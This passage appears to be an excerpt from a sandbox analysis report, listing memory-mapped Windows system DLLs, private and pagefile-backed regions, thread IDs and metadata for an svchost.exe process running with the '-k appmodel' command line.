"\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7629 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7630 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7631 start_va = 0x7ffe5fe10000 end_va = 0x7ffe60238fff monitored = 0 entry_point = 0x7ffe5fe38740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7632 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7633 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7634 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7635 start_va = 0x7ffe60640000 end_va = 0x7ffe606aafff monitored = 0 entry_point = 0x7ffe606590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7636 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7637 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 545 os_tid = 0x7f8 Thread: id = 546 os_tid = 0x770 Thread: id = 547 os_tid = 0x5f0 Thread: id = 548 os_tid = 0x5e4 Thread: id = 549 os_tid = 0x5d8 Thread: id = 550 os_tid = 0x470 Thread: id = 551 os_tid = 0x468 Thread: id = 552 os_tid = 0x464 Thread: id = 553 os_tid = 0x454 Thread: id = 554 os_tid = 0x44c Thread: id = 555 os_tid = 0x448 Thread: id = 556 os_tid = 0x3f4 Thread: id = 557 os_tid = 0x2e0 Process: id = "91" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2b8d6000" os_pid = "0x6e0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "85" os_parent_pid = "0x210" cmd_line = "C:\\Windows\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00015bcc" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 7642 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7643 start_va = 0xa6be570000 end_va = 0xa6be5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6be570000" filename = "" Region: id = 7644 start_va = 0xa6be600000 end_va = 0xa6be7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6be600000" filename = "" Region: id = 7645 start_va = 0xa6be800000 end_va = 0xa6be87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6be800000" filename = "" Region: id = 7646 start_va = 0xa6be980000 end_va = 0xa6be9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6be980000" filename = "" Region: id = 7647 start_va = 0xa6bea00000 end_va = 0xa6beafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bea00000" filename = "" Region: id = 7648 start_va = 0xa6beb00000 end_va = 0xa6bebfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6beb00000" filename = "" Region: id = 7649 start_va = 0xa6bec00000 end_va = 0xa6becfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bec00000" filename = "" Region: id = 7650 start_va = 0xa6bed00000 end_va = 0xa6bedfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bed00000" filename = "" Region: id = 7651 start_va = 0xa6bee00000 end_va = 0xa6beefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bee00000" filename = "" Region: id = 7652 start_va = 0x1e433830000 end_va = 0x1e43383ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433830000" filename = "" Region: id = 7653 start_va = 0x1e433840000 end_va = 0x1e433840fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 7654 start_va = 0x1e433850000 end_va = 0x1e433864fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433850000" filename = "" Region: id = 7655 start_va = 0x1e433870000 end_va = 0x1e433873fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433870000" filename = "" Region: id = 7656 start_va = 0x1e433880000 end_va = 0x1e433880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433880000" filename = "" Region: id = 7657 start_va = 0x1e433890000 end_va = 0x1e433891fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433890000" filename = "" Region: id = 7658 start_va = 0x1e4338a0000 end_va = 0x1e43395dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7659 start_va = 0x1e433960000 end_va = 0x1e433a1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433960000" filename = "" Region: id = 7660 start_va = 0x1e433a20000 end_va = 0x1e433a26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433a20000" filename = "" Region: id = 7661 start_va = 0x1e433a30000 end_va = 0x1e433a30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433a30000" filename = "" Region: id = 7662 start_va = 0x1e433a40000 end_va = 0x1e433a40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433a40000" filename = "" Region: id = 7663 start_va = 0x1e433a50000 end_va = 0x1e433a57fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "staterepository-deployment.srd-shm" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Deployment.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-deployment.srd-shm") Region: id = 7664 start_va = 0x1e433a60000 end_va = 0x1e433a67fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "staterepository-machine.srd-shm" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-Machine.srd-shm" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\staterepository-machine.srd-shm") Region: id = 7665 start_va = 0x1e433a70000 end_va = 0x1e433a70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433a70000" filename = "" Region: id = 7666 start_va = 0x1e433a80000 end_va = 0x1e433a81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433a80000" filename = "" Region: id = 7667 start_va = 0x1e433b00000 end_va = 0x1e433bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433b00000" filename = "" Region: id = 7668 start_va = 0x1e433ce0000 end_va = 0x1e433ce6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ce0000" filename = "" Region: id = 7669 start_va = 0x1e433d20000 end_va = 0x1e433d26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433d20000" filename = "" Region: id = 7670 start_va = 0x1e433e00000 end_va = 0x1e433efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433e00000" filename = "" Region: id = 7671 start_va = 0x1e433f00000 end_va = 0x1e434087fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433f00000" filename = "" Region: id = 7672 start_va = 0x1e434090000 end_va = 0x1e434210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e434090000" filename = "" Region: id = 7673 start_va = 0x1e434300000 end_va = 0x1e4343fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434300000" filename = "" Region: id = 7674 start_va = 0x7df5ffb30000 end_va = 0x7ff5ffb2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffb30000" filename = "" Region: id = 7675 start_va = 0x7ff765ab0000 end_va = 0x7ff765baffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff765ab0000" filename = "" Region: id = 7676 start_va = 0x7ff765bb0000 end_va = 0x7ff765bd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff765bb0000" filename = "" Region: id = 7677 start_va = 0x7ff7669a0000 end_va = 0x7ff7669acfff monitored = 0 entry_point = 0x7ff7669a3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 7678 start_va = 0x7ffe52760000 end_va = 0x7ffe527f3fff monitored = 0 entry_point = 0x7ffe52799210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 7679 start_va = 0x7ffe52800000 end_va = 0x7ffe52aa2fff monitored = 0 entry_point = 0x7ffe52826190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 7680 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 7681 start_va = 0x7ffe5b7d0000 end_va = 0x7ffe5b84bfff monitored = 0 entry_point = 0x7ffe5b7fa970 region_type = mapped_file name = "tileobjserver.dll" filename = "\\Windows\\System32\\tileobjserver.dll" (normalized: "c:\\windows\\system32\\tileobjserver.dll") Region: id = 7682 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 7683 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7684 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7685 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7686 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7687 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7688 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7689 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7690 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7691 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7692 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7693 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7694 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7695 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7696 start_va = 0x7ffe59180000 end_va = 0x7ffe59478fff monitored = 0 entry_point = 0x7ffe59247280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 7697 start_va = 0x7ffe59780000 end_va = 0x7ffe59937fff monitored = 0 entry_point = 0x7ffe597ee630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 7698 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7699 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7700 start_va = 0x7ffe57f70000 end_va = 0x7ffe582f1fff monitored = 0 entry_point = 0x7ffe57fc1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 7701 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 7702 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7703 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7704 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7705 start_va = 0x1e434400000 end_va = 0x1e4344fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434400000" filename = "" Region: id = 7871 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 7881 start_va = 0xa6bef00000 end_va = 0xa6beffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bef00000" filename = "" Region: id = 7883 start_va = 0x7ffe5c8d0000 end_va = 0x7ffe5c8e6fff monitored = 0 entry_point = 0x7ffe5c8d79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7884 start_va = 0x7ffe5c560000 end_va = 0x7ffe5c593fff monitored = 0 entry_point = 0x7ffe5c57ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7885 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7886 start_va = 0x1e434500000 end_va = 0x1e434836fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7887 start_va = 0x7ffe5c9f0000 end_va = 0x7ffe5c9fafff monitored = 0 entry_point = 0x7ffe5c9f19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7888 start_va = 0x1e433a50000 end_va = 0x1e433a50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433a50000" filename = "" Region: id = 7889 start_va = 0x1e434840000 end_va = 0x1e434a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434840000" filename = "" Region: id = 7890 start_va = 0x1e434900000 end_va = 0x1e4349fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434900000" filename = "" Region: id = 7893 start_va = 0xa6bf000000 end_va = 0xa6bf0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000a6bf000000" filename = "" Region: id = 7894 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7895 start_va = 0x7ffe5c260000 end_va = 0x7ffe5c2b5fff monitored = 0 entry_point = 0x7ffe5c270bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7896 start_va = 0x1e433a90000 end_va = 0x1e433a90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433a90000" filename = "" Region: id = 7897 start_va = 0x7ffe5c6b0000 end_va = 0x7ffe5c6cefff monitored = 0 entry_point = 0x7ffe5c6b5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 7898 start_va = 0x7ffe5cbd0000 end_va = 0x7ffe5cbfcfff monitored = 0 entry_point = 0x7ffe5cbe9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7900 start_va = 0x1e433aa0000 end_va = 0x1e433aa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433aa0000" filename = "" Region: id = 7901 start_va = 0x1e433ab0000 end_va = 0x1e433ab0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ab0000" filename = "" Region: id = 7902 start_va = 0x1e433ac0000 end_va = 0x1e433afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ac0000" filename = "" Region: id = 7903 start_va = 0x1e433ac0000 end_va = 0x1e433acffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433ac0000" filename = "" Region: id = 7904 start_va = 0x1e433ad0000 end_va = 0x1e433adffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433ad0000" filename = "" Region: id = 7905 start_va = 0x1e433ae0000 end_va = 0x1e433aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433ae0000" filename = "" Region: id = 7906 start_va = 0x1e433af0000 end_va = 0x1e433afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433af0000" filename = "" Region: id = 7907 start_va = 0x1e433c00000 end_va = 0x1e433c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c00000" filename = "" Region: id = 7908 start_va = 0x1e433c00000 end_va = 0x1e433c0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433c00000" filename = "" Region: id = 7909 start_va = 0x1e433c10000 end_va = 0x1e433c1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433c10000" filename = "" Region: id = 7910 start_va = 0x1e433c20000 end_va = 0x1e433c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433c20000" filename = "" Region: id = 7911 start_va = 0x1e433c30000 end_va = 0x1e433c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e433c30000" filename = "" Region: id = 7912 start_va = 0x1e433c40000 end_va = 0x1e433c40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c40000" filename = "" Region: id = 7913 start_va = 0x1e434a00000 end_va = 0x1e4359fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e434a00000" filename = "" Region: id = 7914 start_va = 0x1e433c50000 end_va = 0x1e433c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c50000" filename = "" Region: id = 7915 start_va = 0x1e433c60000 end_va = 0x1e433c60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c60000" filename = "" Region: id = 7916 start_va = 0x1e433c70000 end_va = 0x1e433c73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c70000" filename = "" Region: id = 7917 start_va = 0x1e433c80000 end_va = 0x1e433c81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c80000" filename = "" Region: id = 7918 start_va = 0x1e433c90000 end_va = 0x1e433c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433c90000" filename = "" Region: id = 7919 start_va = 0x1e435a00000 end_va = 0x1e435c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e435a00000" filename = "" Region: id = 7920 start_va = 0x1e433ca0000 end_va = 0x1e433ca0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433ca0000" filename = "" Region: id = 7921 start_va = 0x1e433cb0000 end_va = 0x1e433cb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cb0000" filename = "" Region: id = 7922 start_va = 0x1e433cc0000 end_va = 0x1e433cc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cc0000" filename = "" Region: id = 7923 start_va = 0x1e433d30000 end_va = 0x1e433db1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433d30000" filename = "" Region: id = 7924 start_va = 0x1e435c10000 end_va = 0x1e435d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e435c10000" filename = "" Region: id = 7925 start_va = 0x1e435d10000 end_va = 0x1e435f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e435d10000" filename = "" Region: id = 7926 start_va = 0x1e435e00000 end_va = 0x1e435efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e435e00000" filename = "" Region: id = 7927 start_va = 0x1e433cc0000 end_va = 0x1e433cc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cc0000" filename = "" Region: id = 7928 start_va = 0x1e433cd0000 end_va = 0x1e433cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cd0000" filename = "" Region: id = 7929 start_va = 0x1e433cd0000 end_va = 0x1e433cd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e433cd0000" filename = "" Region: id = 7930 start_va = 0x1e433cf0000 end_va = 0x1e433cfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7931 start_va = 0x1e433d00000 end_va = 0x1e433d0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7932 start_va = 0x1e433d10000 end_va = 0x1e433d1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7933 start_va = 0x1e433dc0000 end_va = 0x1e433dcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7934 start_va = 0x1e433dd0000 end_va = 0x1e433ddffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7935 start_va = 0x1e433de0000 end_va = 0x1e433deffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7936 start_va = 0x1e433df0000 end_va = 0x1e433dfffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7937 start_va = 0x1e434220000 end_va = 0x1e43422ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vedatamodel.edb" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb") Region: id = 7938 start_va = 0x1e434230000 end_va = 0x1e43423ffff monitored = 1 entry_point = 